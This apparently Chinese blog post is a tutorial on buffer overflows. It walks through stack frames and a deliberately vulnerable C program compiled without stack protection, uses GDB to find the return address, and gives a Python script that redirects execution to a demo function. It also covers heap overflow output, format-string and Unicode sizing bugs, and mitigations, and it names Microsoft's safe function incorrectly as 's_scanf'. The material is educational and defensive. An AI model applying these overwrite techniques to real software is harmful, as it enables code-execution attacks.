缓冲区溢出学习
一、寄存器ESP、EBP、EIP
二、函數(shù)調(diào)用模式
堆棧由邏輯堆棧幀組成。當(dāng)調(diào)用函數(shù)時(shí)邏輯堆棧幀被壓入棧中,當(dāng)函數(shù)返回時(shí)邏輯堆棧幀被從棧中彈出。堆棧幀包括函數(shù)的參數(shù),函數(shù)地局部變量,以及恢復(fù)前一個(gè)堆棧幀所需要的數(shù)據(jù),其中包括在函數(shù)調(diào)用時(shí)指令指針(IP)的值。
當(dāng)一個(gè)例程被調(diào)用時(shí)所必須做的第一件事是保存前一個(gè) FP(這樣當(dāng)例程退出時(shí)就可以恢復(fù))。然后它把SP復(fù)制到FP,創(chuàng)建新的FP,把SP向前移動(dòng)為局部變量保留空間。這稱為例程的序幕(prolog)工作。當(dāng)例程退出時(shí),堆棧必須被清除干凈,這稱為例程的收尾(epilog)工作。Intel的ENTER和LEAVE指令,Motorola的LINK和 UNLINK指令,都可以用于有效地序幕和收尾工作
三、函數(shù)示例原理
void function(int a, int b, int c) {char buffer1[5];char buffer2[10]; } void main() {function(1,2,3); }使用gcc的-S選項(xiàng)編譯, 可以產(chǎn)生匯編代碼輸出?
即$ gcc -S -o example1.s example1.c?
對(duì)function()的調(diào)用被匯編成如下代碼:
以從后往前的順序?qū)unction的三個(gè)參數(shù)壓入棧中, 然后調(diào)用function()
pushl %ebp movl %esp,%ebp subl $20,%esp將幀指針EBP壓入棧中. 然后把當(dāng)前的SP復(fù)制到EBP, 使其成為新的幀指針. 我們把這個(gè)被保存的FP叫做SFP. 接下來(lái)將SP的值減小, 為局部變量保留空間.
我們必須牢記:內(nèi)存只能以字為單位尋址. 在這里一個(gè)字是4個(gè)字節(jié), 32位. 因此5字節(jié)的緩沖區(qū)會(huì)占用8個(gè)字節(jié)(2個(gè)字)的內(nèi)存空間, 而10個(gè)字節(jié)的緩沖區(qū)會(huì)占用12個(gè)字節(jié)(3個(gè)字)的內(nèi)存空間. 這就是為什么SP要減掉20的原因。
?
從上圖來(lái)看,假如我們輸入的buffer1超長(zhǎng)了,直接覆蓋掉后面的sfp和ret,就可以修改該函數(shù)的返回地址了。
四、具體實(shí)例
函數(shù)foo是正常的函數(shù),在main函數(shù)中被調(diào)用,執(zhí)行了一段非常不安全的strcpy工作。利用不安全的strcpy,我們可 以傳入一個(gè)超過(guò)緩沖區(qū)buf長(zhǎng)度的字符串,執(zhí)行拷貝后,緩沖區(qū)溢出,把ret返回地址修改成函數(shù)bar的地址,達(dá)到調(diào)用函數(shù)bar的目的。
#include <stdio.h> #include <string.h> void foo(const char* input) {char buf[10];printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");strcpy(buf, input);printf("buf = %s\n", buf);printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bar(void) {printf("Augh! I've been hacked!\n"); } int main(int argc, char* argv[]) {printf("Address of foo = %p\n", foo);printf("Address of bar = %p\n", bar);if (argc != 2){printf("Please supply a string as an argument!\n");return -1;}foo(argv[1]);printf("Exit!\n");return 0; }若仍然采用GCC進(jìn)行編譯,一定關(guān)閉Buffer Overflow Protect開(kāi)關(guān)?
例如:gcc -g -fno-stack-protector test.c -o test
五、GDB調(diào)試
//(前面啟動(dòng)gdb,設(shè)置參數(shù)和斷點(diǎn)的步驟省略……) (gdb) r Starting program: /media/Personal/MyProject/C/StackOver/test abc Address of foo = 0x80483d4 //函數(shù)foo的地址 Address of bar = 0x8048419 //函數(shù)bar的地址Breakpoint 1, main (argc=2, argv=0xbfe5ab24) at test.c:24 24 foo(argv[1]); //在調(diào)用foo函數(shù)前,我們查看ebp值 (gdb) info registers ebp ebp 0xbfe5aa88 0xbfe5aa88 //ebp值為0xbfe5aa88 (gdb) nBreakpoint 2, foo (input=0xbfe5c652 "abc") at test.c:4 4 { (gdb) n 6 printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); //執(zhí)行到foo后,我們?cè)俨榭磂bp值 (gdb) info registers ebp ebp 0xbfe5aa68 0xbfe5aa68 //ebp值變成了0xbfe5aa68 //我們來(lái)查看一下地址0xbfe5aa68究竟是啥東東: (gdb) x/ 0xbfe5aa68 0xbfe5aa68: 0xbfe5aa88 //原來(lái)地址0xbfe5aa68存放的居然是我們之前的ebp值,其實(shí)豁然開(kāi)朗了,因?yàn)檫@是執(zhí)行了push %ebp后將之前的ebp保存起來(lái)了,和前面說(shuō)的居然是一樣的! (gdb) n My stack looks like: 0xb7ee04e0 0x8048616 0xbfe5aa74 0xbfe5aa74 0xb7edfff4 0xbfe5aa88 //看,在代碼中輸入堆棧信息中也出現(xiàn)了熟悉的0xbfe5aa88,因此可以斷定該處為保存的上一級(jí)的ebp值。對(duì)應(yīng)上上面那個(gè)圖中的sfp。 0x8048499 //假如0xbfe5aa88就是sfp的話,那0x8048499應(yīng)該就是ret(返回地址)了,下面來(lái)驗(yàn)證一下7 strcpy(buf, input); //查看0x8048499里面是什么東東 (gdb) x/i 0x8048499 0x8048499 <main+108>: movl $0x8048653,(%esp) //這句代碼是main函數(shù)中的代碼,正是我們執(zhí)行完foo函數(shù)后的下一個(gè)地址。不信,看看main的assemble: (gdb) disassemble main Dump of assembler code for function main: 0x0804842d <main+0>: lea 0x4(%esp),%ecx 0x08048431 <main+4>: and $0xfffffff0,%esp 0x08048434 <main+7>: pushl -0x4(%ecx) 0x08048437 <main+10>: push %ebp //(中間省略……) 0x08048494 <main+103>: call 0x80483d4 <foo> 0x08048499 <main+108>: movl $0x8048653,(%esp) //就是這里了!哈 0x080484a0 <main+115>: call 0x8048340 <puts@plt>因此,我們只要輸入一個(gè)超長(zhǎng)的字符串,覆蓋掉0x08048499,變成bar的函數(shù)地址0x8048419,就達(dá)到了調(diào)用bar函數(shù)的目的。
六、Python腳本調(diào)試
為了將0x8048419這樣的東西輸入到應(yīng)用程序,我們需要借助于Perl或Python腳本,如下面的Python腳本
import os arg = 'ABCDEFGHIJKLMN' + '"x19"x84"x04"x08' cmd = './test ' + arg os.system(cmd)上面的08 04 84 19要兩個(gè)兩個(gè)反著寫,大端序和小端序的問(wèn)題,執(zhí)行一下:
$python hack.py Address of foo = 0x80483d4 Address of bar = 0x8048419 //bar的函數(shù)地址 My stack looks like: 0xb7fc24e0 0x8048616 0xbf832484 0xbf832484 0xb7fc1ff4 0xbf832498 0x8048499 //strcpy前函數(shù)返回地址0x8048499buf = ABCDEFGHIJKLMN Now the stack looks like: 0xbf83246e 0x8048616 0x42412484 0x46454443 0x4a494847 0x4e4d4c4b 0x8048419 //瞧,返回地址被修改為了我們想要的bar的函數(shù)地址0x8048419 Augh! I've been hacked! //哈哈!bar函數(shù)果然被執(zhí)行了!七、堆溢出
堆是內(nèi)存的一個(gè)區(qū)域,它被應(yīng)用程序利用并在運(yùn)行時(shí)被動(dòng)態(tài)分配。堆內(nèi)存與堆棧內(nèi)存的不同在于它在函數(shù)之間更持久穩(wěn)固。這意味著分配給一個(gè)函數(shù)的內(nèi)存會(huì)持續(xù)保持分配直到完全被釋放為止。這說(shuō)明一個(gè)堆溢出可能發(fā)生了但卻沒(méi)被注意到,直到該內(nèi)存段在后面被使用。?
?
示例程序:
執(zhí)行結(jié)果檢驗(yàn):
[root@localhost]# ./heap1 hackshacksuselessdata input at 0x8049728: hackshacksuselessdata output at 0x8049740: normal outputnormal output [root@localhost]# ./heap1 hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks input at 0x8049728: hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks output at 0x8049740: hackshackshackshacks5hacks6hacks7hackshacks5hackshacks6hackshacks7 [root@localhost]# ./heap1 "hackshacks1hackshacks2hackshacks3hackshacks4what have I done?" input at 0x8049728: hackshacks1hackshacks2hackshacks3hackshacks4what have I done? output at 0x8049740: what have I done? //我們看到,output變成了what have I done?what have I done? [root@localhost]#八、格式化字符串錯(cuò)誤
這類錯(cuò)誤是指使用printf,sprintf,fprint等函數(shù)時(shí),沒(méi)有使用格式化字符串。?
如把printf("%s", input)寫成printf(input)?
當(dāng)input輸入一些非法制造的字符時(shí),內(nèi)存將有可能被改寫,執(zhí)行一些非法指令
九、Unicode和ANSI緩沖區(qū)大小不匹配
我們經(jīng)常碰到需要在Unicode和ANSI之間互相轉(zhuǎn)換,絕大多數(shù)Unicode函數(shù)按照寬字符格式(雙字節(jié))大小,而不是按照字節(jié)大小來(lái)計(jì)算緩沖區(qū)大小,因此,轉(zhuǎn)換的時(shí)候不注意的話就可能會(huì)造成溢出。比如最常受到攻擊的函數(shù)是MultiByteToWideChar
示例程序:
BOOL GetName(char *szName) {WCHAR wszUserName[256];// Convert ANSI name to Unicode.MultiByteToWideChar(CP_ACP, 0,szName,-1,wszUserName,sizeof(wszUserName)); //問(wèn)題出在這個(gè)參數(shù)上,sizeof(wszUserName)將會(huì)等于2*256=512個(gè)字節(jié) }wszUserName是寬字符的,因此,sizeof(wszUserName)將會(huì)是256*2個(gè)字節(jié),因此存在潛在的緩沖區(qū)溢出問(wèn)題。
MultiByteToWideChar(CP_ACP, 0,szName,-1,wszUserName,sizeof(wszUserName) / sizeof(wszUserName[0]));這樣才是正確的寫法
十、發(fā)現(xiàn)問(wèn)題
在Visual Studio中可以采用代碼分析功能來(lái)得到缺陷代碼的位置?
源代碼分析工具:?
ApplicationDefense、SPLINT、ITS4和Flawfinder等?
二進(jìn)制分析工具:?
各種fuzzing工具包和靜態(tài)分析程序,例如Bugscan
十一、預(yù)防問(wèn)題
在Visual Studio 2013以后的版本中,強(qiáng)制要求用安全的函數(shù)來(lái)代替不安全的函數(shù),比如scanf要用s_scanf來(lái)取代(這個(gè)設(shè)計(jì)可以通過(guò)預(yù)編譯命令來(lái)忽略,我猜測(cè)也可以在解決方案屬性中選擇“允許不安全的代碼”來(lái)解決)?
而編譯器的/GS選項(xiàng)能夠阻止堆棧的破壞,保證堆棧的完整性,但是不能完全防止緩沖區(qū)溢出問(wèn)題
總結(jié)
- 上一篇: 字符串经典题之正则匹配字符串
- 下一篇: glibc free 死锁